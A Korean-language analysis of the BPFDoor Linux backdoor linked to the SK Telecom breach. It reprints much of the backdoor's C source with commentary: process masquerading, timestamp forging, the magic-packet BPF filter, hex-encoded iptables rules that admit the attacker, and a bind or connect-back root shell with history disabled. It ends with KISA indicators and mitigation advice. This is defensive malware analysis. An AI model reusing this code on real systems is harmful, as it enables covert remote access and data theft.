1. 개요
- 공격자는 BPFDoor 악성코드를 사용해 SK텔레콤을 해킹해 데이터를 탈취 [1][2][3][4]
- BPF(Berkeley Packet Filter) 기술을 악용해 은닉성과 탐지 회피
> BPF란 OS 커널 레벨에서 동작하는 경량화된 VM 기술로, 네트워크 인터페이스를 통해 수신되는 패킷에 대해 커널 공간에서 직접 필터링
> 시스템 성능과 보안성을 향상시킬 수 있으나, 악성코드에 활용될 경우 탐지 회피 및 은닉성 강화 수단으로 사용됨
2. 소스코드
2.1 프로그램 초기화
- 탐지 회피
> 프로세스 이름을 임의로 선택해 백도어를 일반 프로세스로 위장
> 파일 타임스탬프를 2008년으로 위장 등 탐지를 회피하기 위한 과정을 진행
int main(int argc, char *argv[])
{
....
// 위장할 프로세스 명
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
// 일종의 뮤텍스
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
// /var/run/haldrund.pid 파일의 권한 체크
if (access(pid_path, R_OK) == 0) {
exit(0);
}
// 권환 학인
if (getuid() != 0) {
return 0;
}
// /dev/shm/ 경로에 복사 후 즉시 종료
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}
....
// 타임스탬프 위조 (2008년)
setup_time(argv[0]);
// 프로세스 명 변경
set_proc_name(argc, argv, cfg.mask);
// 자식 프로세스 생성 후 부모 프로세스 종료
if (fork()) exit(0);
....
// 자식 프로세스 종료 시 sigchild 처리해 좀비 프로세스 방지
signal(SIGCHLD, sig_child);
....
// 중복 실행 방지
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
....
// packet_loop 진입
packet_loop();
return 0;
}
2.2 packet_loop()
- Magic Packet을 포함시켜 패킷을 보내고, BPF를 활용해 받은 패킷들 중에 특정 조건들을 만족하는 패킷들만 통과
> TCP/UDP/ICMP 프로토콜만 허용하며 이 외 패킷은 커널에서 차단
> 이후 실행할 명령을(getshell() or shell() or mon()) 결정
void packet_loop()
{
....
// BPF opcode 정의
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 27, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 5, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 23, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 19, 20, 0x00007255 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 17, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 0, 14, 0x00007255 },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 11, 12, 0x00000008 },
{ 0x15, 0, 11, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001a },
{ 0x54, 0, 0, 0x000000f0 },
{ 0x74, 0, 0, 0x00000002 },
{ 0xc, 0, 0, 0x00000000 },
{ 0x7, 0, 0, 0x00000000 },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 0, 1, 0x00005293 },
{ 0x6, 0, 0, 0x0000ffff },
{ 0x6, 0, 0, 0x00000000 },
};
...
// cmp의 값에 따라 실행할 명령어 결정
switch(cmp) {
case 1:
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(tcp->th_dport));
break;
case 0:
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2:
mon(bip, mp->port);
break;
}
exit(0);
}
}
}
close(sock);
}
※ BPF opcode 해석
- Opcode : 수행할 연산을 나타내는 8비트 코드 (로드, 저장, 산술 연산, 비교, 점프, 반환 등의 다양한 명령 존재)
- jt : 참(True)일 경우 점프할 오프셋을 나타내는 8비트 값 (참일 경우 jt만큼 떨어진 위치의 명령으로 실행 흐름 이동)
- jf : 거짓(False)일 경우 점프할 오프셋을 나타내는 8비트 값 (거짓일 경우 jf만큼 떨어진 위치의 명령으로 실행 흐름 이동)
- k : 명령어에서 사용되는 32비트 상수 값 (로드할 주소의 오프셋, 비교할 값, 산술 연산의 피연산자 등으로 사용)
Line |
Opcode |
jt |
jf |
k |
Explanation |
0 |
0x28 |
0 |
0 |
0x0000000c |
LDH [12] # Load EtherType |
1 |
0x15 |
0 |
27 |
0x00000800 |
JEQ #0x0800 # If EtherType == IPv4 |
2 |
0x30 |
0 |
0 |
0x00000017 |
LDB [23] # Load IP protocol |
3 |
0x15 |
0 |
5 |
0x00000011 |
JEQ #0x11 # If protocol == UDP |
4 |
0x28 |
0 |
0 |
0x00000014 |
LDH [20] # Load fragment offset field |
5 |
0x45 |
23 |
0 |
0x00001fff |
JSET #0x1FFF # If fragmented, drop |
6 |
0xb1 |
0 |
0 |
0x0000000e |
TAX # A → X |
7 |
0x48 |
0 |
0 |
0x00000016 |
LDW [X+22] # Load word at (X+22) |
8 |
0x15 |
19 |
20 |
0x00007255 |
JEQ #0x7255 # Check magic |
9 |
0x15 |
0 |
7 |
0x00000001 |
JEQ #0x1 # Special check (condition?) |
10 |
0x28 |
0 |
0 |
0x00000014 |
LDH [20] # Load fragment offset again |
11 |
0x45 |
17 |
0 |
0x00001fff |
JSET #0x1FFF # Fragmented? |
12 |
0xb1 |
0 |
0 |
0x0000000e |
TAX # A → X |
13 |
0x48 |
0 |
0 |
0x00000016 |
LDW [X+22] # Load word at (X+22) |
14 |
0x15 |
0 |
14 |
0x00007255 |
JEQ #0x7255 # Re-check magic |
15 |
0x50 |
0 |
0 |
0x0000000e |
LDXMSH [14] # Load length info |
16 |
0x15 |
11 |
12 |
0x00000008 |
JEQ #0x8 # Protocol ID? |
17 |
0x15 |
0 |
11 |
0x00000006 |
JEQ #0x6 # Another protocol check |
18 |
0x28 |
0 |
0 |
0x00000014 |
LDH [20] # Fragment offset again |
19 |
0x45 |
9 |
0 |
0x00001fff |
JSET #0x1FFF # Fragmented? again |
20 |
0xb1 |
0 |
0 |
0x0000000e |
TAX # A → X |
21 |
0x50 |
0 |
0 |
0x0000001a |
LDXMSH [26] # Load byte from offset 26 |
22 |
0x54 |
0 |
0 |
0x000000f0 |
AND #0xf0 # Mask |
23 |
0x74 |
0 |
0 |
0x00000002 |
SUB #0x2 # Adjust |
24 |
0x0c |
0 |
0 |
0x00000000 |
TAX # A → X |
25 |
0x07 |
0 |
0 |
0x00000000 |
TXA # X → A |
26 |
0x48 |
0 |
0 |
0x0000000e |
LDW [X+14] # Load word from (X + 14) |
27 |
0x15 |
0 |
1 |
0x00005293 |
JEQ #0x5293 # Final magic check |
28 |
0x06 |
0 |
0 |
0x0000ffff |
RET #0xffff # ACCEPT |
29 |
0x06 |
0 |
0 |
0x00000000 |
RET #0x0 # DROP |
2.2.1 getshell
- 전달받은 IP에 대해 iptables 명령을 이용해 정책 추가 및 삭제 진행
- 명령 실행을 위한 shell() 호출
void getshell(char *ip, int fromport)
{
int sock, sockfd, toport;
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
// iptables 명령어
char cmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char rcmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char inputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
char dinputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
// 42391~43391 범위에서 사용 가능한 포트를 찾고, 해당 포트에 바인딩된 리스닝 소켓 생성
sockfd = b(&toport); // looks like it selects random ephemral port here
if (sockfd == -1) return;
// iptables 명령어 실행
snprintf(cmd, sizeof(cmd), inputfmt, ip);
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
sleep(1);
memset(cmd, 0, sizeof(cmd));
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
sleep(1);
// 클라이언트 연결을 대기하다가 들어오면 accept()로 연결된 소켓 반환
sock = w(sockfd); // creates a sock that listens on port specified earlier
if( sock < 0 ){
close(sock);
return;
}
//
// passes sock and
// rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
// dcmd = /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
//
//
// 명령 실행을 위한 shell() 호출
shell(sock, rcmd, dcmd);
close(sock);
}
2.2.2 shell
- rcmd, dcmd 명령 실행이 성공하면 공격자에게 3458 문자열을 전송
int shell(int sock, char *rcmd, char *dcmd)
{
// 변수 설정
int subshell;
fd_set fds;
char buf[BUF];
char argx[] = {
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
char *argvv[] = {argx, NULL, NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
int ret;
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
char ps[] = {
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
char histfile[] = {
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
char mshist[] = {
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
char ipath[] = {
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
char term[] = "vt100";
envp[0] = home;
envp[1] = ps;
envp[2] = histfile;
envp[3] = mshist;
envp[4] = ipath;
envp[5] = term;
envp[6] = NULL;
// 전달받은 명령어 실행
if (rcmd != NULL)
system(rcmd);
if (dcmd != NULL)
system(dcmd);
// 실행 성공 시 3458 문자열 전송
write(sock, "3458", 4);
// open_tty() 실패 시, 표준 입력/출력을 소켓으로 리다이렉트하고 쉘 실행
if (!open_tty()) {
if (!fork()) {
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve(sh, argvv, envp); // 쉘 실행
}
close(sock);
return 0;
}
// 의사 터미널 생성 성공 시: 자식 프로세스에서 쉘 실행
subshell = fork();
if (subshell == 0) {
close(pty);
ioctl(tty, TIOCSCTTY); // 터미널 설정
close(sock);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
execve(sh, argvv, envp); // 쉘 실행
}
close(tty);
// 데이터 전송 루프 (소켓 ↔ pty)
while (1) {
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(sock, &fds);
if (select((pty > sock) ? (pty+1) : (sock+1), &fds, NULL, NULL, NULL) < 0)
break;
// 터미널에서 읽은 데이터 → 소켓으로 전송
if (FD_ISSET(pty, &fds)) {
int count = read(pty, buf, BUF);
if (count <= 0) break;
if (cwrite(sock, buf, count) <= 0) break;
}
// 소켓에서 읽은 데이터 → 터미널로 전송
if (FD_ISSET(sock, &fds)) {
int count;
unsigned char *p, *d;
d = (unsigned char *)buf;
count = cread(sock, buf, BUF);
if (count <= 0) break;
// 터미널 창 크기 변경 시그널 감지
p = memchr(buf, ECHAR, count);
if (p) {
unsigned char wb[5];
int rlen = count - ((long)p - (long)buf);
struct winsize ws;
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) cread(sock, &wb[rlen], 5 - rlen);
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH); // 창 크기 변경 시그널
// 앞뒤 데이터 전송 처리
write(pty, buf, (long)p - (long)buf);
rlen = ((long)buf + count) - ((long)p + 5);
if (rlen > 0) write(pty, p + 5, rlen);
} else {
if (write(pty, d, count) <= 0) break;
}
}
}
// 연결 종료 처리
close(sock);
close(pty);
waitpid(subshell, NULL, 0); // 자식 쉘 종료 대기
vhangup(); // 터미널 세션 종료
exit(0);
}
2.2.3 mon
- 대상 IP와 포트로 UDP 1바이트 데이터를 보냄
3. 침해지표
- KISA는 공격에 사용된 IP 및 파일 정보 공유 [5][6]
구분 |
설명 |
IP |
165.232.174[.]130 |
파일 |
o hpasmmld - size : 2,265KB - SHA1 : e6ccf59c2b7f6bd0f143cde356f60d2217120ad2 - SHA256 : c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4 - MD5 : a47d96ffe446a431a46a3ea3d1ab4d6e
o smartadm - size : 2,067KB - SHA1 : 466527d15744cdbb6e1d71129e1798acbe95764d - SHA256 : 3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4 - MD5 : 227fa46cf2a4517aa1870a011c79eb54
o hald-addon-volume - size : 2,071KB - SHA1 : e3399ea3ebbbd47c588ae807c4bd429f6eef8deb - SHA256 : 95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595 - MD5 : f4ae0f1204e25a17b2adbbab838097bd
o dbus-srv-bin.txt - size : 34KB - SHA1 : 2ca9a29b139b7b2993cabf025b34ead957dee08b - SHA256 : aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4 - MD5 : 714165b06a462c9ed3d145bc56054566
o dbus-srv - size : 34KB - SHA1 : 67a3a1f8338262cd9c948c6e55a22e7d9070ca6c - SHA256 : 925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173 - MD5 : 3c54d788de1bf6bd2e7bc7af39270540
o inode262394 - size : 28KB - SHA1 : 0f12ab32bac3f4db543f702d58368f20b6f5d324 - SHA256 : 29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb - MD5 : fbe4d008a79f09c2d46b0bcb1ba926b3 o dbus-srv - size : 34KB - SHA1 : 4b6824ed764822dc422384cec89d45bbc682ef09 - SHA256 : be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5 - MD5 : c2415a464ce17d54b01fc91805f68967
o dbus-srv - size : 34KB - SHA1 : 213dbb5862a19a423e5b10789a07ee163ab71969 - SHA256 : 027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416 - MD5 : aba893ffb1179b2a0530fe4f0daf94da
o dbus-srv - size : 32KB - SHA1 : 7e7234c5e94a92dd8f43632aca1ac60db7d96d56 - SHA256 : a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59 - MD5 : e2c2f1a1fbd66b4973c0373200130676
o File_in_Inode_#1900667 - size : 28KB - SHA1 : c2717777ba2cb9a698889fca884eb7650144f32e - SHA256 : e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d - MD5 : dc3361ce344917da20f1b8cb4ae0b31d
o gm - size : 2,063KB - SHA1 : a778d7ad5a23a177f2d348a0ae4099772c09671e - SHA256 : adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6 - MD5 : 5f6f79d276a2d84e74047358be4f7ee1 o rad - size : 22KB - SHA1 : b631d5ed10d0b2c7d9c39f43402cccde7f3cb5ea - SHA256 : 7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423 - MD5 : 0bcd4f14e7d8a3dc908b5c17183269a4 |
4. 대응방안
- KISA 등 침해사고 위협 정보를 참고하여 자체적으로 보안점검
- 사용자들은 SKT 이슈를 악용한 피싱, 스미싱 등에 대한 대비 필요 [7][8]
- 보안 업계에서 제공하는 BPFDoor 탐지 솔루션 활용[9]
5. 참고
[1] https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c#L257
[2] https://asn6878.tistory.com/24
[3] https://quasitiger.gitlab.io/posts/bpfdoor/
[4] https://lime-jelly.tistory.com/entry/BPFDoor%EB%9E%80-SKT-%ED%95%B4%ED%82%B9-%EC%82%AC%EA%B1%B4%EC%97%90-%EC%82%AC%EC%9A%A9%EB%90%9C-%EB%A6%AC%EB%88%85%EC%8A%A4-BPF-%EB%B0%B1%EB%8F%84%EC%96%B4-%EB%B6%84%EC%84%9D
[5] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71726
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71735
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71727
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71739
[9] https://www.boannews.com/media/view.asp?idx=137180&page=1&kind=1